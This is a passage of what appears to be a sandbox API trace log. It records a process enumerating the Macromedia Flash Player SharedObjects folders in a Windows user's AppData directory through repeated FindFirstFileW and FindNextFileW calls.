ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0230.849] FindNextFileW (in: hFindFile=0x134b160, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0230.849] FindClose (in: hFindFile=0x134b160 | out: hFindFile=0x134b160) returned 1 [0230.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0230.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0230.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0230.849] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia", lpFilePart=0x0) returned 0x2a [0230.849] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0230.849] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cdcf0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd35c70fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe53cf090, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.849] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0230.850] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.850] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0230.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0230.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0230.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0230.850] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x37 [0230.850] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0230.850] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.851] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0230.851] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0230.851] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 0 [0230.851] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0230.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0230.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0230.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0230.851] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player", lpFilePart=0x0) returned 0x37 [0230.851] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0230.851] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53cf090, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53ed8d1, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53ed8d1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.852] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#SharedObjects", cAlternateFileName="#SHARE~1")) returned 1 [0230.852] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="macromedia.com", cAlternateFileName="MACROM~1.COM")) returned 1 [0230.852] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.852] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0230.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0230.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0230.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0230.853] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x46 [0230.853] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0230.853] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.853] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0230.853] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 0 [0230.853] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0230.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0230.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0230.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0230.854] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects", lpFilePart=0x0) returned 0x46 [0230.854] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0230.854] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53d03fd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53db3d7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53db3d7, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.854] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XCVUDUNH", cAlternateFileName="")) returned 1 [0230.854] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.854] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0230.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0230.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0230.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0230.855] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", lpFilePart=0x0) returned 0x4f [0230.855] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0230.855] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.856] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0230.856] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 0 [0230.856] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0230.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0230.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0230.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0230.856] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH", lpFilePart=0x0) returned 0x4f [0230.856] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0230.856] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.856] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0230.857] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0230.857] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0230.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0230.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0230.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0230.857] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer", lpFilePart=0x0) returned 0x5d [0230.857] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0230.858] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0230.858] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 1 [0230.858] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aa.online-metrix.net", cAlternateFileName="AAONLI~1.NET")) returned 0 [0230.858] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0230.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0230.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0230.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0230.858] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer", lpFilePart=0x0) returned 0x5d [0230.858] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, 